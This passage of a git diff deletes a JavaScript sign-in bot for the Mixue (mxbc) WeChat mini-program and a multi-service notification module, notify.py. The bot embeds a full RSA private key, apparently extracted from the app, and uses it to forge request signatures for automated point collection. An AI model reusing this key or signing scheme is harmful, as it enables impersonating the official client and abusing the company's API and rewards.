- $.log(`获取跳转Url失败!原因未知!${res.msg}`);
-
- }
-
- } catch (e) {
- $.log(`❌获取跳转Url失败!原因为${e}`);
- }
- }
- ObjectKeys2LowerCase(e) { return e = Object.fromEntries(Object.entries(e).map((([e, t]) => [e.toLowerCase(), t]))), new Proxy(e, { get: function (e, t, r) { return Reflect.get(e, t.toLowerCase(), r) }, set: function (e, t, r, n) { return Reflect.set(e, t.toLowerCase(), r, n) } }) }
-
-
- //获取活动token
- async getActivityToken() {
- try {
- const opts = {
- method: "GET",
- url: this.activityUrl,
- maxRedirects: 0,
- // 关键点 2: 默认 Axios 认为非 2xx 是错误,需定义 302 为合法状态
- validateStatus: function (status) {
- return status >= 200 && status < 400; // 允许 302 (或 3xx) 进入 .then
- },
- headers: {}
- }
- let res = await axios.request(opts);
-
- let headers = this.ObjectKeys2LowerCase(res?.headers);
- //对青龙进行兼容
- let session = Array.isArray(headers['set-cookie']) ? [...new Set(headers['set-cookie'])].join("") : headers['set-cookie'];
-
- let [wdata4, w_ts, _ac, wdata3, dcustom] = session.match(/(wdata4|w_ts|_ac|wdata3|dcustom)=.+?;/g)
- this.session = wdata4 + w_ts + _ac + wdata3 + dcustom;
- $.log(`✅ 获取活动token成功!`)
-
-
- } catch (e) {
-
- $.log(`⛔️ 获取活动token失败!${e}`);
- }
- }
- async activityIndex() {
- try {
- const opts = {
- url: this.activityOrigin + "/chome/index",
- params: {
- from: "login",
- spm: "76177.1.1.1"
- },
- headers: {
- 'Cookie': this.session,
-
- 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X)mxsa_mxbc`,
- }
- }
-
- await axios.request(opts);
- $.log(`✅ 访问雪王铺:调用成功!`);
- } catch (e) {
-
- $.log(`⛔️ 访问雪王铺:调用失败!${e}`);
- }
- }
- async task_signin() {
- try {
- let time = Date.now()
- let options = {
- url: `https://mxsa.mxbc.net/api/v1/customer/signin?appId=d82be6bbc1da11eb9dd000163e122ecb&t=${time}&sign=${this.getSHA256withRSA('appId=d82be6bbc1da11eb9dd000163e122ecb&t=' + time)}`,
- headers: {
- 'Host': 'mxsa.mxbc.net',
- 'Connection': 'keep-alive',
- 'user-agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 MicroMessenger/7.0.4.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF',
- 'xweb_xhr': 1,
- 'Access-Token': this.ck,
- 'Content-Type': 'application/json',
- 'Accept': '*/*',
- 'Sec-Fetch-Site': 'cross-site',
- 'Sec-Fetch-Mode': 'cors',
- 'Sec-Fetch-Dest': 'empty',
- 'Referer': 'https://servicewechat.com/wx7696c66d2245d107/59/page-frame.html',
- 'Accept-Language': 'en-us,en',
- 'Accept-Encoding': 'gzip, deflate',
-
- }
- }
- //console.log(options);
- let { data: result } = await axios.request(options);
- //console.log(result);
- if (result.code == 0) {
- $.log(`账号[${this.index}] 签到成功:累计签到 [${result.data.ruleValueGrowth}]天 本次获得[${result.data.ruleValuePoint}]币`);
- this.ckStatus = true
-
- } else {
- $.log(`账号[${this.index}] 签到:失败 ❌ 了呢,原因未知!`);
- console.log(result);
- }
- } catch (e) {
- console.log(e);
- }
- }
- getSHA256withRSA(content) {
- var rs = require("jsrsasign");
-
- var privateKeyString = `-----BEGIN PRIVATE KEY-----
-MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCtypUdHZJKlQ9L
-L6lIJSphnhqjke7HclgWuWDRWvzov30du235cCm13mqJ3zziqLCwstdQkuXo9sOP
-Ih94t6nzBHTuqYA1whrUnQrKfv9X4/h3QVkzwT+xWflE+KubJZoe+daLKkDeZjVW
-nUku8ov0E5vwADACfntEhAwiSZUALX9UgNDTPbj5ESeII+VztZ/KOFsRHMTfDb1G
-IR/dAc1mL5uYbh0h2Fa/fxRPgf7eJOeWGiygesl3CWj0Ue13qwX9PcG7klJXfToI
-576MY+A7027a0aZ49QhKnysMGhTdtFCksYG0lwPz3bIR16NvlxNLKanc2h+ILTFQ
-bMW/Y3DRAgMBAAECggEBAJGTfX6rE6zX2bzASsu9HhgxKN1VU6/L70/xrtEPp4SL
-SpHKO9/S/Y1zpsigr86pQYBx/nxm4KFZewx9p+El7/06AX0djOD7HCB2/+AJq3iC
-5NF4cvEwclrsJCqLJqxKPiSuYPGnzji9YvaPwArMb0Ff36KVdaHRMw58kfFys5Y2
-HvDqh4x+sgMUS7kSEQT4YDzCDPlAoEFgF9rlXnh0UVS6pZtvq3cR7pR4A9hvDgX9
-wU6zn1dGdy4MEXIpckuZkhwbqDLmfoHHeJc5RIjRP7WIRh2CodjetgPFE+SV7Sdj
-ECmvYJbet4YLg+Qil0OKR9s9S1BbObgcbC9WxUcrTgECgYEA/Yj8BDfxcsPK5ebE
-9N2teBFUJuDcHEuM1xp4/tFisoFH90JZJMkVbO19rddAMmdYLTGivWTyPVsM1+9s
-tq/NwsFJWHRUiMK7dttGiXuZry+xvq/SAZoitgI8tXdDXMw7368vatr0g6m7ucBK
-jZWxSHjK9/KVquVr7BoXFm+YxaECgYEAr3sgVNbr5ovx17YriTqe1FLTLMD5gPrz
-ugJj7nypDYY59hLlkrA/TtWbfzE+vfrN3oRIz5OMi9iFk3KXFVJMjGg+M5eO9Y8m
-14e791/q1jUuuUH4mc6HttNRNh7TdLg/OGKivE+56LEyFPir45zw/dqwQM3jiwIz
-yPz/+bzmfTECgYATxrOhwJtc0FjrReznDMOTMgbWYYPJ0TrTLIVzmvGP6vWqG8rI
-S8cYEA5VmQyw4c7G97AyBcW/c3K1BT/9oAj0wA7wj2JoqIfm5YPDBZkfSSEcNqqy
-5Ur/13zUytC+VE/3SrrwItQf0QWLn6wxDxQdCw8J+CokgnDAoehbH6lTAQKBgQCE
-67T/zpR9279i8CBmIDszBVHkcoALzQtU+H6NpWvATM4WsRWoWUx7AJ56Z+joqtPK
-G1WztkYdn/L+TyxWADLvn/6Nwd2N79MyKyScKtGNVFeCCJCwoJp4R/UaE5uErBNn
-OH+gOJvPwHj5HavGC5kYENC1Jb+YCiEDu3CB0S6d4QKBgQDGYGEFMZYWqO6+LrfQ
-ZNDBLCI2G4+UFP+8ZEuBKy5NkDVqXQhHRbqr9S/OkFu+kEjHLuYSpQsclh6XSDks
-5x/hQJNQszLPJoxvGECvz5TN2lJhuyCupS50aGKGqTxKYtiPHpWa8jZyjmanMKnE
-dOGyw/X4SFyodv8AEloqd81yGg==
------END PRIVATE KEY-----
-`;
-
- const key = rs.KEYUTIL.getKey(privateKeyString);
-
- const signature = new rs.KJUR.crypto.Signature({ alg: "SHA256withRSA" });
-
- signature.init(key);
-
- signature.updateString(content);
-
- const originSign = signature.sign();
- const sign64u = rs.hextob64u(originSign);
-
- return sign64u;
-
- }
-
-
-
-
-
-
-
-}
-
-!(async () => {
- await getNotice()
- $.checkEnv(ckName);
-
- for (let user of $.userList) {
- await new Task(user).run();
- }
-})()
- .catch((e) => console.log(e))
- .finally(() => $.done());
-
-async function getNotice() {
- try {
- let options = {
- url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`,
- headers: {
- "User-Agent": defaultUserAgent,
- },
- timeout:3000
- }
- let {
- data: res
- } = await axios.request(options);
- $.log(res)
- return res
- } catch (e) {}
-
-}
\ No newline at end of file
diff --git a/daily/notify.py b/daily/notify.py
deleted file mode 100644
index 25f1a1f2..00000000
--- a/daily/notify.py
+++ /dev/null
@@ -1,1107 +0,0 @@
-#!/usr/bin/env python3
-# _*_ coding:utf-8 _*_
-import base64
-import hashlib
-import hmac
-import json
-import os
-import re
-import threading
-import time
-import urllib.parse
-import smtplib
-from email.mime.text import MIMEText
-from email.header import Header
-from email.utils import formataddr
-
-import requests
-
-# 原先的 print 函数和主线程的锁
-_print = print
-mutex = threading.Lock()
-
-
-# 定义新的 print 函数
-def print(text, *args, **kw):
- """
- 使输出有序进行,不出现多线程同一时间输出导致错乱的问题。
- """
- with mutex:
- _print(text, *args, **kw)
-
-
-# 通知服务
-# fmt: off
-push_config = {
- 'HITOKOTO': True, # 启用一言(随机句子)
-
- 'BARK_PUSH': '', # bark IP 或设备码,例:https://api.day.app/DxHcxxxxxRxxxxxxcm/
- 'BARK_ARCHIVE': '', # bark 推送是否存档
- 'BARK_GROUP': '', # bark 推送分组
- 'BARK_SOUND': '', # bark 推送声音
- 'BARK_ICON': '', # bark 推送图标
- 'BARK_LEVEL': '', # bark 推送时效性
- 'BARK_URL': '', # bark 推送跳转URL
-
- 'CONSOLE': False, # 控制台输出
-
- 'DD_BOT_SECRET': '', # 钉钉机器人的 DD_BOT_SECRET
- 'DD_BOT_TOKEN': '', # 钉钉机器人的 DD_BOT_TOKEN
-
- 'FSKEY': '', # 飞书机器人的 FSKEY
- 'FSSECRET': '', # 飞书机器人的 FSSECRET,对应安全设置里的签名校验密钥
-
- 'GOBOT_URL': '', # go-cqhttp
- # 推送到个人QQ:http://127.0.0.1/send_private_msg
- # 群:http://127.0.0.1/send_group_msg
- 'GOBOT_QQ': '', # go-cqhttp 的推送群或用户
- # GOBOT_URL 设置 /send_private_msg 时填入 user_id=个人QQ
- # /send_group_msg 时填入 group_id=QQ群
- 'GOBOT_TOKEN': '', # go-cqhttp 的 access_token
-
- 'GOTIFY_URL': '', # gotify地址,如https://push.example.de:8080
- 'GOTIFY_TOKEN': '', # gotify的消息应用token
- 'GOTIFY_PRIORITY': 0, # 推送消息优先级,默认为0
-
- 'IGOT_PUSH_KEY': '', # iGot 聚合推送的 IGOT_PUSH_KEY
-
- 'PUSH_KEY': '', # server 酱的 PUSH_KEY,兼容旧版与 Turbo 版
-
- 'DEER_KEY': '', # PushDeer 的 PUSHDEER_KEY
- 'DEER_URL': '', # PushDeer 的 PUSHDEER_URL
-
- 'CHAT_URL': '', # synology chat url
- 'CHAT_TOKEN': '', # synology chat token
-
- 'PUSH_PLUS_TOKEN': '', # pushplus 推送的用户令牌
- 'PUSH_PLUS_USER': '', # pushplus 推送的群组编码
- 'PUSH_PLUS_TEMPLATE': 'html', # pushplus 发送模板,支持html,txt,json,markdown,cloudMonitor,jenkins,route,pay
- 'PUSH_PLUS_CHANNEL': 'wechat', # pushplus 发送渠道,支持wechat,webhook,cp,mail,sms
- 'PUSH_PLUS_WEBHOOK': '', # pushplus webhook编码,可在pushplus公众号上扩展配置出更多渠道
- 'PUSH_PLUS_CALLBACKURL': '', # pushplus 发送结果回调地址,会把推送最终结果通知到这个地址上
- 'PUSH_PLUS_TO': '', # pushplus 好友令牌,微信公众号渠道填写好友令牌,企业微信渠道填写企业微信用户id
-
- 'WE_PLUS_BOT_TOKEN': '', # 微加机器人的用户令牌
- 'WE_PLUS_BOT_RECEIVER': '', # 微加机器人的消息接收者
- 'WE_PLUS_BOT_VERSION': 'pro', # 微加机器人的调用版本
-
- 'QMSG_KEY': '', # qmsg 酱的 QMSG_KEY
- 'QMSG_TYPE': '', # qmsg 酱的 QMSG_TYPE
-
- 'QYWX_ORIGIN': '', # 企业微信代理地址
-
- 'QYWX_AM': '', # 企业微信应用
-
- 'QYWX_KEY': '', # 企业微信机器人
-
- 'TG_BOT_TOKEN': '', # tg 机器人的 TG_BOT_TOKEN,例:1407203283:AAG9rt-6RDaaX0HBLZQq0laNOh898iFYaRQ
- 'TG_USER_ID': '', # tg 机器人的 TG_USER_ID,例:1434078534
- 'TG_API_HOST': '', # tg 代理 api
- 'TG_PROXY_AUTH': '', # tg 代理认证参数
- 'TG_PROXY_HOST': '', # tg 机器人的 TG_PROXY_HOST
- 'TG_PROXY_PORT': '', # tg 机器人的 TG_PROXY_PORT
-
- 'AIBOTK_KEY': '', # 智能微秘书 个人中心的apikey 文档地址:http://wechat.aibotk.com/docs/about
- 'AIBOTK_TYPE': '', # 智能微秘书 发送目标 room 或 contact
- 'AIBOTK_NAME': '', # 智能微秘书 发送群名 或者好友昵称和type要对应好
-
- 'SMTP_SERVER': '', # SMTP 发送邮件服务器,形如 smtp.exmail.qq.com:465
- 'SMTP_SSL': 'false', # SMTP 发送邮件服务器是否使用 SSL,填写 true 或 false
- 'SMTP_EMAIL': '', # SMTP 收发件邮箱,通知将会由自己发给自己
- 'SMTP_PASSWORD': '', # SMTP 登录密码,也可能为特殊口令,视具体邮件服务商说明而定
- 'SMTP_NAME': '', # SMTP 收发件人姓名,可随意填写
-
- 'PUSHME_KEY': '', # PushMe 的 PUSHME_KEY
- 'PUSHME_URL': '', # PushMe 的 PUSHME_URL
-
- 'CHRONOCAT_QQ': '', # qq号
- 'CHRONOCAT_TOKEN': '', # CHRONOCAT 的token
- 'CHRONOCAT_URL': '', # CHRONOCAT的url地址
-
- 'WEBHOOK_URL': '', # 自定义通知 请求地址
- 'WEBHOOK_BODY': '', # 自定义通知 请求体
- 'WEBHOOK_HEADERS': '', # 自定义通知 请求头
- 'WEBHOOK_METHOD': '', # 自定义通知 请求方法
- 'WEBHOOK_CONTENT_TYPE': '', # 自定义通知 content-type
-
- 'NTFY_URL': '', # ntfy地址,如https://ntfy.sh
- 'NTFY_TOPIC': '', # ntfy的消息应用topic
- 'NTFY_PRIORITY':'3', # 推送消息优先级,默认为3
- 'NTFY_TOKEN': '', # 推送token,可选
- 'NTFY_USERNAME': '', # 推送用户名称,可选
- 'NTFY_PASSWORD': '', # 推送用户密码,可选
- 'NTFY_ACTIONS': '', # 推送用户动作,可选
-
- 'WXPUSHER_APP_TOKEN': '', # wxpusher 的 appToken 官方文档: https://wxpusher.zjiecode.com/docs/ 管理后台: https://wxpusher.zjiecode.com/admin/
- 'WXPUSHER_TOPIC_IDS': '', # wxpusher 的 主题ID,多个用英文分号;分隔 topic_ids 与 uids 至少配置一个才行
- 'WXPUSHER_UIDS': '', # wxpusher 的 用户ID,多个用英文分号;分隔 topic_ids 与 uids 至少配置一个才行
-}
-# fmt: on
-
-for k in push_config:
- if os.getenv(k):
- v = os.getenv(k)
- push_config[k] = v
-
-
-def bark(title: str, content: str) -> None:
- """
- 使用 bark 推送消息。
- """
- if not push_config.get("BARK_PUSH"):
- return
- print("bark 服务启动")
-
- if push_config.get("BARK_PUSH").startswith("http"):
- url = f'{push_config.get("BARK_PUSH")}'
- else:
- url = f'https://api.day.app/{push_config.get("BARK_PUSH")}'
-
- bark_params = {
- "BARK_ARCHIVE": "isArchive",
- "BARK_GROUP": "group",
- "BARK_SOUND": "sound",
- "BARK_ICON": "icon",
- "BARK_LEVEL": "level",
- "BARK_URL": "url",
- }
- data = {
- "title": title,
- "body": content,
- }
- for pair in filter(
- lambda pairs: pairs[0].startswith("BARK_")
- and pairs[0] != "BARK_PUSH"
- and pairs[1]
- and bark_params.get(pairs[0]),
- push_config.items(),
- ):
- data[bark_params.get(pair[0])] = pair[1]
- headers = {"Content-Type": "application/json;charset=utf-8"}
- response = requests.post(
- url=url, data=json.dumps(data), headers=headers, timeout=15
- ).json()
-
- if response["code"] == 200:
- print("bark 推送成功!")
- else:
- print("bark 推送失败!")
-
-
-def console(title: str, content: str) -> None:
- """
- 使用 控制台 推送消息。
- """
- print(f"{title}\n\n{content}")
-
-
-def dingding_bot(title: str, content: str) -> None:
- """
- 使用 钉钉机器人 推送消息。
- """
- if not push_config.get("DD_BOT_SECRET") or not push_config.get("DD_BOT_TOKEN"):
- return
- print("钉钉机器人 服务启动")
-
- timestamp = str(round(time.time() * 1000))
- secret_enc = push_config.get("DD_BOT_SECRET").encode("utf-8")
- string_to_sign = "{}\n{}".format(timestamp, push_config.get("DD_BOT_SECRET"))
- string_to_sign_enc = string_to_sign.encode("utf-8")
- hmac_code = hmac.new(
- secret_enc, string_to_sign_enc, digestmod=hashlib.sha256
- ).digest()
- sign = urllib.parse.quote_plus(base64.b64encode(hmac_code))
- url = f'https://oapi.dingtalk.com/robot/send?access_token={push_config.get("DD_BOT_TOKEN")}×tamp={timestamp}&sign={sign}'
- headers = {"Content-Type": "application/json;charset=utf-8"}
- data = {"msgtype": "text", "text": {"content": f"{title}\n\n{content}"}}
- response = requests.post(
- url=url, data=json.dumps(data), headers=headers, timeout=15
- ).json()
-
- if not response["errcode"]:
- print("钉钉机器人 推送成功!")
- else:
- print("钉钉机器人 推送失败!")
-
-
-def feishu_bot(title: str, content: str) -> None:
- """
- 使用 飞书机器人 推送消息。
- """
- if not push_config.get("FSKEY"):
- return
- print("飞书 服务启动")
-
- url = f'https://open.feishu.cn/open-apis/bot/v2/hook/{push_config.get("FSKEY")}'
- data = {"msg_type": "text", "content": {"text": f"{title}\n\n{content}"}}
-
- # Add signature if secret is provided
- # Note: Feishu's signature algorithm uses timestamp+"\n"+secret as the HMAC key
- # and signs an empty message, which differs from typical HMAC usage
- if push_config.get("FSSECRET"):
- timestamp = str(int(time.time()))
- string_to_sign = f'{timestamp}\n{push_config.get("FSSECRET")}'
- hmac_code = hmac.new(
- string_to_sign.encode("utf-8"), digestmod=hashlib.sha256
- ).digest()
- sign = base64.b64encode(hmac_code).decode("utf-8")
- data["timestamp"] = timestamp
- data["sign"] = sign
-
- response = requests.post(url, data=json.dumps(data)).json()
-
- if response.get("StatusCode") == 0 or response.get("code") == 0:
- print("飞书 推送成功!")
- else:
- print("飞书 推送失败!错误信息如下:\n", response)
-
-
-def go_cqhttp(title: str, content: str) -> None:
- """
- 使用 go_cqhttp 推送消息。
- """
- if not push_config.get("GOBOT_URL") or not push_config.get("GOBOT_QQ"):
- return
- print("go-cqhttp 服务启动")
-
- url = f'{push_config.get("GOBOT_URL")}?access_token={push_config.get("GOBOT_TOKEN")}&{push_config.get("GOBOT_QQ")}&message=标题:{title}\n内容:{content}'
- response = requests.get(url).json()
-
- if response["status"] == "ok":
- print("go-cqhttp 推送成功!")
- else:
- print("go-cqhttp 推送失败!")
-
-
-def gotify(title: str, content: str) -> None:
- """
- 使用 gotify 推送消息。
- """
- if not push_config.get("GOTIFY_URL") or not push_config.get("GOTIFY_TOKEN"):
- return
- print("gotify 服务启动")
-
- url = f'{push_config.get("GOTIFY_URL")}/message?token={push_config.get("GOTIFY_TOKEN")}'
- data = {
- "title": title,
- "message": content,
- "priority": push_config.get("GOTIFY_PRIORITY"),
- }
- response = requests.post(url, data=data).json()
-
- if response.get("id"):
- print("gotify 推送成功!")
- else:
- print("gotify 推送失败!")
-
-
-def iGot(title: str, content: str) -> None:
- """
- 使用 iGot 推送消息。
- """
- if not push_config.get("IGOT_PUSH_KEY"):
- return
- print("iGot 服务启动")
-
- url = f'https://push.hellyw.com/{push_config.get("IGOT_PUSH_KEY")}'
- data = {"title": title, "content": content}
- headers = {"Content-Type": "application/x-www-form-urlencoded"}
- response = requests.post(url, data=data, headers=headers).json()
-
- if response["ret"] == 0:
- print("iGot 推送成功!")
- else:
- print(f'iGot 推送失败!{response["errMsg"]}')
-
-
-def serverJ(title: str, content: str) -> None:
- """
- 通过 serverJ 推送消息。
- """
- if not push_config.get("PUSH_KEY"):
- return
- print("serverJ 服务启动")
-
- data = {"text": title, "desp": content.replace("\n", "\n\n")}
-
- match = re.match(r"sctp(\d+)t", push_config.get("PUSH_KEY"))
- if match:
- num = match.group(1)
- url = f'https://{num}.push.ft07.com/send/{push_config.get("PUSH_KEY")}.send'
- else:
- url = f'https://sctapi.ftqq.com/{push_config.get("PUSH_KEY")}.send'
-
- response = requests.post(url, data=data).json()
-
- if response.get("errno") == 0 or response.get("code") == 0:
- print("serverJ 推送成功!")
- else:
- print(f'serverJ 推送失败!错误码:{response["message"]}')
-
-
-def pushdeer(title: str, content: str) -> None:
- """
- 通过PushDeer 推送消息
- """
- if not push_config.get("DEER_KEY"):
- return
- print("PushDeer 服务启动")
- data = {
- "text": title,
- "desp": content,
- "type": "markdown",
- "pushkey": push_config.get("DEER_KEY"),
- }
- url = "https://api2.pushdeer.com/message/push"
- if push_config.get("DEER_URL"):
- url = push_config.get("DEER_URL")
-
- response = requests.post(url, data=data).json()
-
- if len(response.get("content").get("result")) > 0:
- print("PushDeer 推送成功!")
- else:
- print("PushDeer 推送失败!错误信息:", response)
-
-
-def chat(title: str, content: str) -> None:
- """
- 通过Chat 推送消息
- """
- if not push_config.get("CHAT_URL") or not push_config.get("CHAT_TOKEN"):
- return
- print("chat 服务启动")
- data = "payload=" + json.dumps({"text": title + "\n" + content})
- url = push_config.get("CHAT_URL") + push_config.get("CHAT_TOKEN")
- response = requests.post(url, data=data)
-
- if response.status_code == 200:
- print("Chat 推送成功!")
- else:
- print("Chat 推送失败!错误信息:", response)
-
-
-def pushplus_bot(title: str, content: str) -> None:
- """
- 通过 pushplus 推送消息。
- """
- if not push_config.get("PUSH_PLUS_TOKEN"):
- return
- print("PUSHPLUS 服务启动")
-
- url = "https://www.pushplus.plus/send"
- data = {
- "token": push_config.get("PUSH_PLUS_TOKEN"),
- "title": title,
- "content": content,
- "topic": push_config.get("PUSH_PLUS_USER"),
- "template": push_config.get("PUSH_PLUS_TEMPLATE"),
- "channel": push_config.get("PUSH_PLUS_CHANNEL"),
- "webhook": push_config.get("PUSH_PLUS_WEBHOOK"),
- "callbackUrl": push_config.get("PUSH_PLUS_CALLBACKURL"),
- "to": push_config.get("PUSH_PLUS_TO"),
- }
- body = json.dumps(data).encode(encoding="utf-8")
- headers = {"Content-Type": "application/json"}
- response = requests.post(url=url, data=body, headers=headers).json()
-
- code = response["code"]
- if code == 200:
- print("PUSHPLUS 推送请求成功,可根据流水号查询推送结果:" + response["data"])
- print(
- "注意:请求成功并不代表推送成功,如未收到消息,请到pushplus官网使用流水号查询推送最终结果"
- )
- elif code == 900 or code == 903 or code == 905 or code == 999:
- print(response["msg"])
-
- else:
- url_old = "http://pushplus.hxtrip.com/send"
- headers["Accept"] = "application/json"
- response = requests.post(url=url_old, data=body, headers=headers).json()
-
- if response["code"] == 200:
- print("PUSHPLUS(hxtrip) 推送成功!")
-
- else:
- print("PUSHPLUS 推送失败!")
-
-
-def weplus_bot(title: str, content: str) -> None:
- """
- 通过 微加机器人 推送消息。
- """
- if not push_config.get("WE_PLUS_BOT_TOKEN"):
- return
- print("微加机器人 服务启动")
-
- template = "txt"
- if len(content) > 800:
- template = "html"
-
- url = "https://www.weplusbot.com/send"
- data = {
- "token": push_config.get("WE_PLUS_BOT_TOKEN"),
- "title": title,
- "content": content,
- "template": template,
- "receiver": push_config.get("WE_PLUS_BOT_RECEIVER"),
- "version": push_config.get("WE_PLUS_BOT_VERSION"),
- }
- body = json.dumps(data).encode(encoding="utf-8")
- headers = {"Content-Type": "application/json"}
- response = requests.post(url=url, data=body, headers=headers).json()
-
- if response["code"] == 200:
- print("微加机器人 推送成功!")
- else:
- print("微加机器人 推送失败!")
-
-
-def qmsg_bot(title: str, content: str) -> None:
- """
- 使用 qmsg 推送消息。
- """
- if not push_config.get("QMSG_KEY") or not push_config.get("QMSG_TYPE"):
- return
- print("qmsg 服务启动")
-
- url = f'https://qmsg.zendee.cn/{push_config.get("QMSG_TYPE")}/{push_config.get("QMSG_KEY")}'
- payload = {"msg": f'{title}\n\n{content.replace("----", "-")}'.encode("utf-8")}
- response = requests.post(url=url, params=payload).json()
-
- if response["code"] == 0:
- print("qmsg 推送成功!")
- else:
- print(f'qmsg 推送失败!{response["reason"]}')
-
-
-def wecom_app(title: str, content: str) -> None:
- """
- 通过 企业微信 APP 推送消息。
- """
- if not push_config.get("QYWX_AM"):
- return
- QYWX_AM_AY = re.split(",", push_config.get("QYWX_AM"))
- if 4 < len(QYWX_AM_AY) > 5:
- print("QYWX_AM 设置错误!!")
- return
- print("企业微信 APP 服务启动")
-
- corpid = QYWX_AM_AY[0]
- corpsecret = QYWX_AM_AY[1]
- touser = QYWX_AM_AY[2]
- agentid = QYWX_AM_AY[3]
- try:
- media_id = QYWX_AM_AY[4]
- except IndexError:
- media_id = ""
- wx = WeCom(corpid, corpsecret, agentid)
- # 如果没有配置 media_id 默认就以 text 方式发送
- if not media_id:
- message = title + "\n\n" + content
- response = wx.send_text(message, touser)
- else:
- response = wx.send_mpnews(title, content, media_id, touser)
-
- if response == "ok":
- print("企业微信推送成功!")
- else:
- print("企业微信推送失败!错误信息如下:\n", response)
-
-
-class WeCom:
- def __init__(self, corpid, corpsecret, agentid):
- self.CORPID = corpid
- self.CORPSECRET = corpsecret
- self.AGENTID = agentid
- self.ORIGIN = "https://qyapi.weixin.qq.com"
- if push_config.get("QYWX_ORIGIN"):
- self.ORIGIN = push_config.get("QYWX_ORIGIN")
-
- def get_access_token(self):
- url = f"{self.ORIGIN}/cgi-bin/gettoken"
- values = {
- "corpid": self.CORPID,
- "corpsecret": self.CORPSECRET,
- }
- req = requests.post(url, params=values)
- data = json.loads(req.text)
- return data["access_token"]
-
- def send_text(self, message, touser="@all"):
- send_url = (
- f"{self.ORIGIN}/cgi-bin/message/send?access_token={self.get_access_token()}"
- )
- send_values = {
- "touser": touser,
- "msgtype": "text",
- "agentid": self.AGENTID,
- "text": {"content": message},
- "safe": "0",
- }
- send_msges = bytes(json.dumps(send_values), "utf-8")
- respone = requests.post(send_url, send_msges)
- respone = respone.json()
- return respone["errmsg"]
-
- def send_mpnews(self, title, message, media_id, touser="@all"):
- send_url = (
- f"{self.ORIGIN}/cgi-bin/message/send?access_token={self.get_access_token()}"
- )
- send_values = {
- "touser": touser,
- "msgtype": "mpnews",
- "agentid": self.AGENTID,
- "mpnews": {
- "articles": [
- {
- "title": title,
- "thumb_media_id": media_id,
- "author": "Author",
- "content_source_url": "",
- "content": message.replace("\n", "
"),
- "digest": message,
- }
- ]
- },
- }
- send_msges = bytes(json.dumps(send_values), "utf-8")
- respone = requests.post(send_url, send_msges)
- respone = respone.json()
- return respone["errmsg"]
-
-
-def wecom_bot(title: str, content: str) -> None:
- """
- 通过 企业微信机器人 推送消息。
- """
- if not push_config.get("QYWX_KEY"):
- return
- print("企业微信机器人服务启动")
-
- origin = "https://qyapi.weixin.qq.com"
- if push_config.get("QYWX_ORIGIN"):
- origin = push_config.get("QYWX_ORIGIN")
-
- url = f"{origin}/cgi-bin/webhook/send?key={push_config.get('QYWX_KEY')}"
- headers = {"Content-Type": "application/json;charset=utf-8"}
- data = {"msgtype": "text", "text": {"content": f"{title}\n\n{content}"}}
- response = requests.post(
- url=url, data=json.dumps(data), headers=headers, timeout=15
- ).json()
-
- if response["errcode"] == 0:
- print("企业微信机器人推送成功!")
- else:
- print("企业微信机器人推送失败!")
-
-
-def telegram_bot(title: str, content: str) -> None:
- """
- 使用 telegram 机器人 推送消息。
- """
- if not push_config.get("TG_BOT_TOKEN") or not push_config.get("TG_USER_ID"):
- return
- print("tg 服务启动")
-
- if push_config.get("TG_API_HOST"):
- url = f"{push_config.get('TG_API_HOST')}/bot{push_config.get('TG_BOT_TOKEN')}/sendMessage"
- else:
- url = (
- f"https://api.telegram.org/bot{push_config.get('TG_BOT_TOKEN')}/sendMessage"
- )
- headers = {"Content-Type": "application/x-www-form-urlencoded"}
- payload = {
- "chat_id": str(push_config.get("TG_USER_ID")),
- "text": f"{title}\n\n{content}",
- "disable_web_page_preview": "true",
- }
- proxies = None
- if push_config.get("TG_PROXY_HOST") and push_config.get("TG_PROXY_PORT"):
- if push_config.get("TG_PROXY_AUTH") is not None and "@" not in push_config.get(
- "TG_PROXY_HOST"
- ):
- push_config["TG_PROXY_HOST"] = (
- push_config.get("TG_PROXY_AUTH")
- + "@"
- + push_config.get("TG_PROXY_HOST")
- )
- proxyStr = "http://{}:{}".format(
- push_config.get("TG_PROXY_HOST"), push_config.get("TG_PROXY_PORT")
- )
- proxies = {"http": proxyStr, "https": proxyStr}
- response = requests.post(
- url=url, headers=headers, params=payload, proxies=proxies
- ).json()
-
- if response["ok"]:
- print("tg 推送成功!")
- else:
- print("tg 推送失败!")
-
-
-def aibotk(title: str, content: str) -> None:
- """
- 使用 智能微秘书 推送消息。
- """
- if (
- not push_config.get("AIBOTK_KEY")
- or not push_config.get("AIBOTK_TYPE")
- or not push_config.get("AIBOTK_NAME")
- ):
- return
- print("智能微秘书 服务启动")
-
- if push_config.get("AIBOTK_TYPE") == "room":
- url = "https://api-bot.aibotk.com/openapi/v1/chat/room"
- data = {
- "apiKey": push_config.get("AIBOTK_KEY"),
- "roomName": push_config.get("AIBOTK_NAME"),
- "message": {"type": 1, "content": f"【青龙快讯】\n\n{title}\n{content}"},
- }
- else:
- url = "https://api-bot.aibotk.com/openapi/v1/chat/contact"
- data = {
- "apiKey": push_config.get("AIBOTK_KEY"),
- "name": push_config.get("AIBOTK_NAME"),
- "message": {"type": 1, "content": f"【青龙快讯】\n\n{title}\n{content}"},
- }
- body = json.dumps(data).encode(encoding="utf-8")
- headers = {"Content-Type": "application/json"}
- response = requests.post(url=url, data=body, headers=headers).json()
- print(response)
- if response["code"] == 0:
- print("智能微秘书 推送成功!")
- else:
- print(f'智能微秘书 推送失败!{response["error"]}')
-
-
-def smtp(title: str, content: str) -> None:
- """
- 使用 SMTP 邮件 推送消息。
- """
- if (
- not push_config.get("SMTP_SERVER")
- or not push_config.get("SMTP_SSL")
- or not push_config.get("SMTP_EMAIL")
- or not push_config.get("SMTP_PASSWORD")
- or not push_config.get("SMTP_NAME")
- ):
- return
- print("SMTP 邮件 服务启动")
-
- message = MIMEText(content, "plain", "utf-8")
- message["From"] = formataddr(
- (
- Header(push_config.get("SMTP_NAME"), "utf-8").encode(),
- push_config.get("SMTP_EMAIL"),
- )
- )
- message["To"] = formataddr(
- (
- Header(push_config.get("SMTP_NAME"), "utf-8").encode(),
- push_config.get("SMTP_EMAIL"),
- )
- )
- message["Subject"] = Header(title, "utf-8")
-
- try:
- smtp_server = (
- smtplib.SMTP_SSL(push_config.get("SMTP_SERVER"))
- if push_config.get("SMTP_SSL") == "true"
